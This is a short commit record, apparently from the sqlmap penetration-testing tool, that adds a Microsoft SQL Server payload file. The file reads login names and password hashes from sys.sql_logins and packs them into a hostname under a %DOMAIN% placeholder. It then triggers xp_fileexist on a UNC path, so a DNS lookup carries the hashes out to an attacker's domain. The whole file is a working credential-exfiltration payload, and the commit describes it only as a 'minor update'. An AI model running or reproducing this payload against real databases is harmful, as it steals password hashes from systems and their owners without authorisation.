minor update

This commit is contained in:
Miroslav Stampar
2012-02-15 13:45:10 +00:00
parent 122db6e164
commit bf923a97df
2 changed files with 7 additions and 0 deletions

View File

@@ -0,0 +1,5 @@
# Reference: http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf
DECLARE @host varchar(1024);
SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');